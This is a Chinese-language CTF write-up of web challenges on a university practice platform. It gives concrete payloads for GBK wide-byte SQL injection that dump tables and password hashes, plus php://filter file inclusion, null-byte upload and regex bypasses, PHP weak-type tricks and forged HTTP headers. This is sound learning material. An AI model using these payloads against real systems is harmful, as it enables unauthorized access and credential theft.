终于找到组织了可以安安静静的研究CTF技术了,接触信息安全以来已经 3 年多了,期间也走了很多弯路,浮躁过放弃过,幸运的是被画船听雨拉入了 X1cT34m 小组,时间过得很快,队友们也都很强,只打了 1 年比赛就退伍了,总之还是很充实的。

WEB

签到题

思路

单个页面查看源代码:

解决方法

nctf{flag_admiaanaaaaaaaaaaa}

md5 collision

思路

PHP 代码阅读:

<?php
$md51 = md5('QNKCDZO');      //md51变量 = QNKCDZO 字符串的md5值
$a = @$_GET['a'];            //定义一个变量 a 并使用GET方式传递值给它
$md52 = @md5($a);            //md51变量 = 变量 a 的md5值
if(isset($a)){               //判断 a 变量是否为空 不为空的话 条件为真
if ($a != 'QNKCDZO' && $md51 == $md52) {  //a变量的值不为QNKCDZO并且md5值等于 QNKCDZO的md5值
    echo "nctf{*****************}";       //输出flag
} else {
    echo "false!!!";
}}
else{echo "please input a";}
?>

这里的核心语句是:

$a != 'QNKCDZO' && $md51 == $md52

主要是利用了 PHP 弱类型语言的松散比较符的缺陷。幸运的是以前总结过类似的文章:

PHP代码安全杂谈 | 国光

从源码中可以得输入一个 a 的参数的变量,a 首先不等于QNKCDZO并且 a 得 md5 值必须等于QNKCDZO加密后的 md5 值。

乍一看好像不可能存在这样的值,但是这里QNKCDZO加密后的 md5 值为0e830400451993494058024219903391
这里是0e开头的,在进行等于比较的时候,PHP 把它当作科学计数法,0 的无论多少次方都是零。

所以这里利用上面的弱类型的比较的缺陷来进行解题。

姿势补充

字符串加密后md5为 0exxxx 的字符串 (x 必须是 10 进制数字) 列表

字符串 MD5
QNKCDZO 0e830400451993494058024219903391
240610708 0e462097431906509019562988736854
aabg7XSs 0e087386482136013740957780965295
aabC9RqS 0e041022518165728065344349536299
s878926199a 0e545993274517709034328855841020
s155964671a 0e342768416822451524974117254469
s214587387a 0e848240448830537924465865611904
s214587387a 0e848240448830537924465865611904
s878926199a 0e545993274517709034328855841020
s1091221200a 0e940624217856561557816327384675
s1885207154a 0e509367213418206700842008763514

解决方法

.

nctf{md5_collision_is_easy}

签到2

思路

提示输入zhimakaimen,但是输入了确不成功,具体的话浏览器审查元素查看下刚刚操作POST的数据包或者使用Burpsuite也可以。

解决方法

抓包编辑包的主体部分为:`text1=

查看响应包:

.

nctf{follow_me_to_exploit}

这题不是WEB

思路

一个猫的图片,看来搞信安的很多人都喜欢猫呀。加上题目提示:这不是一个Web题目,所有这一题重点在这张图片上。

解决方法

图片以文本方式打开,搜索nctf关键词:

nctf{photo_can_also_hid3_msg}

层层递进

思路

这一题 一上来我是懵逼的,搜索关键词找了网上的Write-up才明白题目想表达的意思。

网站源码一看主要就使用了<iframe>标签,iframe 元素会创建包含另外一个文档的内联框架(即行内框架)。好像有点层层递进的感觉,所以这里重点是<iframe>标签内的内容。

解决方法

浏览器审查元素Applicatioin-Frames逐个点开查看:

nctf{this_is_a_fl4g}

AAencode

思路

aaencode是一种有趣的混淆代码的加密方式

解决方法

网页显示乱码保存txt文件到本地,然后使用aaencode在线解密。

nctf{javascript_aaencode}

单身二十年

思路

抓包看返回包

解决方法

点击到这里找key__然后抓包看返回包:

nctf{yougotit_script_now}

你从哪里来

思路

http头使用referer伪造

解决方法

BP抓包手动添加Google域名的referer

题目有问题挂了

但是呢网上还是可以找到这题的flag的:

nctf{http_referer}

php decode

思路

PHP代码阅读:

<?php
function CLsI($ZzvSWE) {    // 定义一个 CLsI 函数,接受 ZzvSWE 的变量
    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));  //ZzvSWE变量被base64解密后使用gzinflate加密

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {
        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);
        //遍历ZzvSWE变量 转换为变量的每一位的ASCII值-1的字符
    }

    return $ZzvSWE;
}eval(CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA=="));?> //这里的eval函数问题很大

解决方法

代码整体意思不难理解,遍历字符串中的每一个字母,然后使用Base64+Gzinflate加密,最后转换为ASCII码的值-1,再转换为字符串。所以尝试运行一下代码,发现报错,这里报错是因eval函数的问题。

eval函数

  • eval() 函数把字符串按照 PHP 代码来执行
  • 该字符串必须是合法的 PHP 代码,且必须以分号结尾
  • 如果没有在代码字符串中调用 return 语句,则返回 NULL
  • 如果代码中存在解析错误,则 eval() 函数返回 false

eval函数一般我们在一句话木马中经常见到,结合这个就很容易理解了。

解决代码运行报错就是直接将eval修改为echo直接将结果输出来:

nctf{gzip_base64_hhhhhh}

文件包含

思路

给了乌云知识库的参考链接,阅读了一下本文主要是利用php流filter来进行文件读取。 关于PHP文件流后期单独来总结。

解决方法

BP抓包构造如下payload:

/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php

拿到base64加密后的网页源码,解码之 即可拿到flag:

nctf{edulcni_elif_lacol_si_siht}

单身一百年也没用

思路

抓包看返回包

解决方法

差点就错过了细节,把这个包丢掉了:

nctf{this_is_302_redirect}

思路

抓包,重点关注headers里面的cookie值。

解决方法

Cookie: Login=0

修改为

Cookie: Login=1

查看返回包:

nctf{cookie_is_different_from_session}

MYSQL

思路

根据提示找到robots.txt文件下载下来然后阅读PHP代码:

<?php
if($_GET[id]) {     //GET方式传入id参数

  //MySQL连接相关
  mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);

  //对id值进行整型转换
  $id = intval($_GET[id]);

  //核心带入id查询的SQL语句
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));

  //如果id的值为1024的话 条件成立
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

这一题受到了传统思路影响到了,导致没有过多关注if ($_GET[id]==1024)我一直在想既然都知道了SQL语句了,为什么不直接手工注入,结果$id = intval($_GET[id]);这一步绕不过去,走了不少弯路,酱紫来看代码中不会出现无缘无故的语句的。

解决方法

代码中提示了不可以直接输入id=1024,这里得想办法来绕过才可以。因为这里intval() 是整型转换函数,输入1024.xxx之类的小数都是会转换为1024的。

sql.php?id=1024.233

nctf{query_in_mysql}

sql injection 3

思路

给了SQL构造语句,而且过滤了单引号,这里根据经验来看直接使用宽字节来手工注入。关于注入绕过的文章,后期单独整理好拿出来。

解决方法

习惯性的闭合前面语句,注释掉后面语句

页面返回

your sql:select id,title from news where id = '1\' -- '
Hello World!OVO

可以看到输入的单引号返回结果来看被反斜杠过滤掉了

宽字节注入 and 语句验证

and 1=1 页面返回正常

/SQL-GBK/index.php?id=1%df' and 1=1--+  

your sql:select id,title from news where id = '1運' and 1=1-- '
Hello World!OVO

and 1=2 页面返回异常

/SQL-GBK/index.php?id=1%df' and 1=2--+

your sql:select id,title from news where id = '1運' and 1=2-- '

order by 判断字段数

/SQL-GBK/index.php?id=1%df' order by 2  --+   页面返回正常
/SQL-GBK/index.php?id=1%df' order by 2  --+   页面报错 Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in SQL-GBK/index.php on line 10

所以得出字段数为2

union select 查询带入查询的的具体的字段数

/SQL-GBK/index.php?id=-1%df' union select 1,2  --+

这里故意构造了一个id=-1引起报错,页面报错返回数字2:

利用报错的具体字段数带入SQL语句查询我们需要的数据,查询数据库表名

/SQL-GBK/index.php?id=-1%df' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()  --+

数据库下有5个表,分别为:ctf,ctf2,ctf3,ctf4,news

查询各个数据表小的列名信息

因为这里过滤了单引号的原因,建议这里

information_schema.columns where table_name='ctf'

换成16进制的形式:

information_schema.columns where table_name=0x637466

经过测试flag可能放在ctf表中,下面是完整的语句:

这里其实是有提示的,我一上来就无脑注入,后来把所有数据跑出来的才发现news有提示…这个毛病得改

id = 1  提示  Hello World!OVO
id = 2  提示  gbk_sql_injection
id = 3  提示  the fourth table  第4个表

不管那么多了,下面还是演示一下一个注入的流程吧:

/SQL-GBK/index.php?id=-1%df' union select 1, group_concat(column_name) from information_schema.columns where table_name=0x637466  --+

查询具体的user和pw字段信息

/SQL-GBK/index.php?id=-1%df' union select 1, group_concat(user,0x3a,pw) from ctf  --+

md5解出来是njupt,去后台登录拿到了一个flag 貌似不是这一题的flag:

数据库的所有内容

经过一个个手工注入 下面列出所有数据库的内容

数据表

+----------------+
| Tables_in_test |
+----------------+
| ctf            |
| ctf2           |
| ctf3           |
| ctf4           |
| news           |
+----------------+

ctf表内容

+-------+----------------------------------+
| user  | pw                               |
+-------+----------------------------------+
| admin | 21dd715a3605b2a4053e80387116c190 |
+-------+----------------------------------+

ctf2表内容

+------+----------------------------------+
| id   | content                          |
+------+----------------------------------+
| 1020 | no msg in 1020                   |
| 1021 | no msg in 1021 too               |
| 1022 | no msg in 1022                   |
| 1023 | no msg in 1023~~~                |
| 1024 | the flag is:nctf{query_in_mysql} |
| 1025 | no more                          |
+------+----------------------------------+

ctf3表内容

+----+-----------------+-------+
| id | email           | token |
+----+-----------------+-------+
|  1 | admin@nuptzj.cn | 0     |
+----+-----------------+-------+

ctf4表内容

mysql> select * from ctf4;
+----+-----------------+
| id | flag            |
+----+-----------------+
|  1 | nctf{gbk_3sqli} |
+----+-----------------

news表内容

+----+-------------------+
| id | title             |
+----+-------------------+
|  1 | Hello World!OVO   |
|  2 | gbk_sql_injection |
|  3 | the fourth table  |
+----+-------------------+
nctf{gbk_3sqli}

/x00

思路

PHP代码阅读题,分析分析看:

if (isset ($_GET['nctf'])) {  //GET方式 传入 nctf 字符

    //ereg()正则限制了nctf的形式,只能是一个或者多个数字
    if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE)
        echo '必须输入数字才行';

    //strpos()对nctf进行匹配,必须含有#biubiubiu,最终才输出flag
    else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE)   
        die('Flag: '.$flag);
    else
        echo '骚年,继续努力吧啊~';
}

突破点:nctf的值是数字且必须含有#biubiubiu

  • ereg函数存在NULL截断漏洞,可以使用%00截断正则匹配

解决方法

这里#biubiubiu#得手动进行URL编码

nctf{use_00_to_jieduan}

bypass again

思路

PHP代码阅读题,分析分析看:

if (isset($_GET['a']) and isset($_GET['b'])) {  //get方式接受a和b变量
    if ($_GET['a'] != $_GET['b'])     //a 不等于 b
    if (md5($_GET['a']) == md5($_GET['b']))  //a的md5值等于b的md5值
    	die('Flag: '.$flag);
    else
    	print 'Wrong.';
}

这一题考察了PHP弱类型语言的特性,和md5 collision 50这一题的出题思想是差不多的。

解决方法

index.php?a=QNKCDZO&b=aabC9RqS

nctf{php_is_so_cool}

变量覆盖

思路

PHP核心代码阅读:

<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
    <?php
    	extract($_POST);
    	if ($pass == $thepassword_123) { ?>
            <?php echo $theflag; ?>
    <?php } ?>
<?php } ?>

解题方法

BP抓包,post方式提交数据:pass=&thepassword_123=,返回包里找到flag:

nctf{bian_liang_fu_gai!}

PHP是世界上最好的语言

思路

PHP代码阅读:

<?php
if(eregi("hackerDJ",$_GET[id])) { //id传入的值中里面不可以含有hackerDJ
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);  //id经过URL解码
if($_GET[id] == "hackerDJ")   //id URL解码后与hackerDJ相同
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

id不能等于hackerDJ ,并且经过url解码后id等于hackerDJ,在浏览器中提交时浏览器会为我们进行一次解码,h的URL编码为%68,%的编码为%25

解题方法

?id=id=%2568ackerDJ
nctf{php_is_best_language}

伪装者

思路

nctf{welcome_to_hacks_world}限制了本地登录,抓包用XFF头伪造试试看。

解题方法

BP抓包添加X-Forwarded-For:127.0.0.1

这一题平台目前也出了点问题..

nctf{happy_http_headers}

思路

Emmm 这一题理所当然的打不开了 但是呢 以前做过 记得是flag直接放在了返回包里面。

解题方法

nctf{tips_often_hide_here}

上传绕过

思路

这种题目有点贴近实际的渗透测试,这里我想用00截断应该可以解决的吧。

解题方法

上传一个jpg文件,转包发现了存在uploads目录,一般根据实战来看 再目录这里截断会有一个不错的效果,最后截断的效果相当于是文件上传后被重命名为了233.php文件了。

233.php 后面有一个00截断 图片上没有看出来效果 故提醒一下

nctf{welcome_to_hacks_world}

SQL注入1

思路

PHP代码阅读:

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = trim($_POST[user]);      //trim() 函数移除user字符串值两侧的空白字符
  $pass = md5(trim($_POST[pass]));  //trim() 函数移除pass字符串值两侧的空白字符
  $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')"; //核心SQL语句
    echo '</br>'.$sql;
  $query = mysql_fetch_array(mysql_query($sql));
  if($query[user]=="admin") {  //登录成功 输出flag
      echo "<p>Logged in! flag:******************** </p>";
  }
  if($query[user] != "admin") {
    echo("<p>You are not admin!</p>");
  }
}
echo $query[user];
?>

推理出SQL语句:select user from ctf where (user='$user') and ...

闭合 user即可。

解题方法

其实呢这一题 我们在做 sql injection 3的时候就提前跑了出来了:

nctf{ni_ye_hui_sql?}

pass check

思路

PHP代码阅读:

<?php
$pass=@$_POST['pass'];  //post提交pass变量值
$pass1=***********;//被隐藏起来的密码
if(isset($pass))  //检测pass值是否存在 存在继续下一步
{
//比较pass和pass1的值 条件成立 输出flag
if(@!strcmp($pass,$pass1)){  
echo "flag:nctf{*}";
}else{
echo "the pass is wrong!";
}
}else{
echo "please input pass!";
}
?>

这里主要利用PHP的strcmp函数,5.3的之前和之后版本在使用strcmp比较数组和字符串时候的差异。

5.3的版本之后使用这个函数比较会返回0

解题方法

构造一个pass数组

nctf{strcmp_is_n0t_3afe}

起名字真难

思路

还是PHP代码阅读题,2333,还好暑假做的Python POC相关的工作,要是以前我肯定没法耐心看完:

<?php
  //定义一个noother_says_correct函数 传入的变量为number
 function noother_says_correct($number)
{
        $one = ord('1');  //one赋值为1的ASCII值
        $nine = ord('9'); //nine赋值为9的ASCII值

    	//遍历变量number
        for ($i = 0; $i < strlen($number); $i++)
        {   	
            	//digit等于number[i]的ASCII值
                $digit = ord($number{$i});

            	//如果digit在one到nine指尖的话 就GG
                if ( ($digit >= $one) && ($digit <= $nine) )
                {
                        return false;
                }
        }

    	//返回number的值为54975581388
        return $number == '54975581388';
}
$flag='*******';
if(noother_says_correct($_GET['key']))
    echo $flag;
else
    echo 'access denied';
?>

number的值为54975581388输出flag,但是number中不能有数字。可以说很巧的是:

54975581388 的 16进制为  0xccccccccc

这里恰好没有数字。

解决方法

老版本的Hackbar真香:

/index.php?key=0xccccccccc
nctf{follow_your_dream}

密码重置

思路

以前整理过类似的类似的文章:

用户密码重置找回10种常见姿势 | 国光

抓一个测试的包包含如下关键信息:

POST /web13/index.php?user1=%59%33%52%6D%64%58%4E%6C%63%67%3D%3D

user=ctfuser&newpass=P%40ssw0rd&vcode=1234

很明显可以看到user1后面有个参数,这里解码看看:

%59%33%52%6D%64%58%4E%6C%63%67%3D%3D

URL-decode解码后:

Y3RmdXNlcg==

Base64-decode解码后:

ctfuser

很明显这里和post提交的数据中的user=ctfuser是一一对应的:

知道这个关系绕过就很简单了。

解决方法

nctf{reset_password_often_have_vuln}

php 反序列化

思路

解决方法

sql injection 4

思路

解决方法

综合题

思路

解决方法

system

思路

解决方法

SQL注入2

思路

PHP代码

<?php

//post提交user和pass
if($_POST[user] && $_POST[pass]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $user = $_POST[user];

//的值pass进行md5加密
  $pass = md5($_POST[pass]);

//核心sql语句 查询出pw的值
  $query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));

//如果查询的pw值与pass进行比较 成功的话 输出flag
    if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
      echo "<p>Logged in! Key: ntcf{**************} </p>";
  }
  else {
    echo("<p>Log in failure!</p>");
  }
}
?>

解决方法

综合题2

思路

解决方法

密码重置2

思路

1.管理员邮箱

查看源代码

[email protected]

2.vi编辑器备份文件

从源码中也是可以看出使用的是Vim编辑器:

BP抓包,提交的php文件为:/web14/submit.php

vim中的swpswap文件,在编辑文件时产生,它是隐藏文件,如果原文件名是submit,则它的临时文件

.submit.swp

保存到本地查看。

3.弱类型bypass

PHP代码阅读

//邮箱和token的值不能为空
if(!empty($token)&&!empty($emailAddress)){
	//token的长度为10,如果输入的token长度不是10的话就死给你看
    if(strlen($token)!=10) die('fail');
	//如果token的值不等于0的话 同样GG
    if($token!='0') die('fail');

    //通过token和email查询user表下的数据数量
	$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";

	$r = mysql_query($sql) or die('db error');
	$r = mysql_fetch_assoc($r);
	$r = $r['num'];

    //如果查询出数据了 即登录成功 输出flag
	if($r>0){
		echo $flag;
	}else{
		echo "失败了呀";
	}
}

因为已经知道了管理员的邮箱为:[email protected]

所以重点就放在token上,这里token只要满足以下两点即可:

  1. token的长度为10
  2. token的值等于0

考虑到PHP弱类型语言的特性,token构造如下:

token=0000000000

解决方法

nctf{thanks_to_cumt_bxs}

点评

实际上 2021 年了,我们学校自己的这个靶场我都没有刷完,真的是太懒了,呜呜呜,看来我真的不适合 CTF。

本文可能实际上也没有啥技术含量,但是写起来还是比较浪费时间的,在这个喧嚣浮躁的时代,个人博客越来越没有人看了,写博客感觉一直是用爱发电的状态。如果你恰巧财力雄厚,感觉本文对你有所帮助的话,可以考虑打赏一下本文,用以维持高昂的服务器运营费用(域名费用、服务器费用、CDN费用等)

微信
支付宝

没想到文章加入打赏列表没几天 就有热心网友打赏了 于是国光我用 Bootstrap 重写了一个页面 用以感谢 支持我的朋友,详情请看 打赏列表 | 国光